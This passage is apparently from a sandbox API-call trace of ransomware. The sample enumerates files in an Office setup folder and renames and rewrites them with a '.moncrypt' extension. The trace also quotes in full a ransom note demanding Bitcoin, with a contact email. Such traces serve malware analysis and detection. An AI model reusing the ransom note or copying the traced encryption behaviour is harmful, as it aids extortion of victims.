cchLength=0x9 | out: lpsz="setup.chm") returned 0x9 [0048.108] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.108] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.108] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.108] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.108] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.108] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.108] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.108] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.108] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.108] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt汍TL") returned 34 [0048.108] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", cchWideChar=102, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHMt", lpUsedDefaultChar=0x0) returned 102 [0048.108] CharLowerBuffW (in: lpsz=".CHM", cchLength=0x4 | out: lpsz=".chm") returned 0x4 [0048.108] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".chm", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".chmShared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHMt", lpUsedDefaultChar=0x0) returned 4 [0048.108] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0048.108] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.108] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.108] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.108] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.108] GlobalUnlock (hMem=0x44000c) returned 0 [0048.108] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.108] GlobalLock (hMem=0x440004) returned 0x557870 [0048.108] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.108] GlobalUnlock (hMem=0x44000c) returned 0 [0048.108] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.108] GlobalUnlock (hMem=0x440004) returned 0 [0048.109] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.109] CharLowerBuffW (in: lpsz="SETUP.XML", cchLength=0x9 | out: lpsz="setup.xml") returned 0x9 [0048.109] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.109] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.109] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.109] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.109] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.109] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.109] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.109] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.109] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.109] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt汍TL") returned 34 [0048.109] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", cchWideChar=102, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XMLt", lpUsedDefaultChar=0x0) returned 102 [0048.109] CharLowerBuffW (in: lpsz=".XML", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0048.109] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XMLt", lpUsedDefaultChar=0x0) returned 4 [0048.109] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0x54e280 [0048.110] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0048.110] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0048.110] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0048.110] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", dwFileAttributes=0x20) returned 1 [0048.110] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0048.110] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml.moncrypt")) returned 1 [0048.111] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.111] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0048.111] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x2488 [0048.111] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0048.111] ReadFile (in: hFile=0x190, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x2488, lpNumberOfBytesRead=0x18e3b4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e3b4*=0x2488, lpOverlapped=0x0) returned 1 [0048.113] GlobalLock (hMem=0x440004) returned 0x555860 [0048.113] GlobalLock (hMem=0x44000c) returned 0x559870 [0048.113] GlobalHandle (pMem=0x559870) returned 0x44000c [0048.113] GlobalUnlock (hMem=0x44000c) returned 0 [0048.113] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0048.113] GlobalLock (hMem=0x44000c) returned 0x559870 [0048.113] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.113] GlobalUnlock (hMem=0x440004) returned 0 [0048.113] GlobalHandle (pMem=0x559870) returned 0x44000c [0048.113] GlobalUnlock (hMem=0x44000c) returned 0 [0048.114] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.114] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.114] GlobalUnlock (hMem=0x44000c) returned 0 [0048.114] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0048.114] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.114] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.114] GlobalUnlock (hMem=0x44000c) returned 0 [0048.124] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.124] SetFileTime (hFile=0x190, lpCreationTime=0x18e454, lpLastAccessTime=0x18e44c, lpLastWriteTime=0x18e444) returned 1 [0048.124] CloseHandle (hObject=0x190) returned 1 [0048.125] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.moncrypt", dwFileAttributes=0x20) returned 1 [0048.125] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18d6e8, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXTL") returned 34 [0048.125] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.125] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.125] GlobalUnlock (hMem=0x44000c) returned 0 [0048.125] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.125] GlobalLock (hMem=0x440004) returned 0x557870 [0048.125] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.125] GlobalUnlock (hMem=0x44000c) returned 0 [0048.125] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.125] GlobalUnlock (hMem=0x440004) returned 0 [0048.125] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0048.125] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e49c | out: lpFindFileData=0x18e49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ded5140, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3ded5140, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3ded5140, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e280 [0048.125] FileTimeToLocalFileTime (in: lpFileTime=0x18e4b0, lpLocalFileTime=0x18e430 | out: lpLocalFileTime=0x18e430) returned 1 [0048.125] FileTimeToDosDateTime (in: lpFileTime=0x18e430, lpFatDate=0x18e47e, lpFatTime=0x18e47c | out: lpFatDate=0x18e47e, lpFatTime=0x18e47c) returned 1 [0048.125] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0048.126] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.126] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0048.126] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x649 [0048.126] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0048.126] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0048.126] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x649 [0048.126] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0048.126] ReadFile (in: hFile=0x190, lpBuffer=0x1dcc068, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e6a8, lpOverlapped=0x0 | out: lpBuffer=0x1dcc068*, lpNumberOfBytesRead=0x18e6a8*=0x649, lpOverlapped=0x0) returned 1 [0048.126] CloseHandle (hObject=0x190) returned 1 [0048.126] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0048.126] GetLastError () returned 0x12 [0048.126] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0048.126] GlobalLock (hMem=0x440004) returned 0x555860 [0048.126] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.126] GlobalUnlock (hMem=0x440004) returned 0 [0048.126] GlobalLock (hMem=0x440004) returned 0x555860 [0048.127] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.127] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.127] GlobalUnlock (hMem=0x440004) returned 0 [0048.127] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.127] GlobalUnlock (hMem=0x44000c) returned 0 [0048.127] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x3df47560, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3df47560, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0048.127] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0048.127] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.127] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.127] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.127] GlobalUnlock (hMem=0x44000c) returned 0 [0048.127] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.127] GlobalLock (hMem=0x440004) returned 0x557870 [0048.127] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.127] GlobalUnlock (hMem=0x44000c) returned 0 [0048.127] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.127] GlobalUnlock (hMem=0x440004) returned 0 [0048.127] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.127] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x3df47560, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3df47560, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.127] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.127] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.127] GlobalLock (hMem=0x440004) returned 0x555860 [0048.127] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.127] GlobalUnlock (hMem=0x440004) returned 0 [0048.127] GlobalLock (hMem=0x440004) returned 0x555860 [0048.127] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.127] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.128] GlobalUnlock (hMem=0x440004) returned 0 [0048.128] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.128] GlobalUnlock (hMem=0x44000c) returned 0 [0048.128] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.128] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9fff00, ftCreationTime.dwHighDateTime=0x1cba028, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e9fff00, ftLastWriteTime.dwHighDateTime=0x1cba028, nFileSizeHigh=0x0, nFileSizeLow=0x3b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRANDING.DLL", cAlternateFileName="")) returned 1 [0048.128] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.128] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.128] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.128] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.128] GlobalUnlock (hMem=0x44000c) returned 0 [0048.128] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.128] GlobalLock (hMem=0x440004) returned 0x557870 [0048.128] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.128] GlobalUnlock (hMem=0x44000c) returned 0 [0048.128] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.128] GlobalUnlock (hMem=0x440004) returned 0 [0048.128] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.128] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x470e1800, ftCreationTime.dwHighDateTime=0x1caccea, ftLastAccessTime.dwLowDateTime=0x15334ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x470e1800, ftLastWriteTime.dwHighDateTime=0x1caccea, nFileSizeHigh=0x0, nFileSizeLow=0x91a3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRANDING.XML.moncrypt", cAlternateFileName="BRANDI~1.MON")) returned 1 [0048.128] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.128] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.128] GlobalLock (hMem=0x440004) returned 0x555860 [0048.128] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.128] GlobalUnlock (hMem=0x440004) returned 0 [0048.128] GlobalLock (hMem=0x440004) returned 0x555860 [0048.128] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.128] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.128] GlobalUnlock (hMem=0x440004) returned 0 [0048.128] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.129] GlobalUnlock (hMem=0x44000c) returned 0 [0048.129] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.129] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ded5140, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3ded5140, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3ded5140, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0048.129] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.129] FileTimeToDosDateTime (in: lpFileTime=0x18e744, 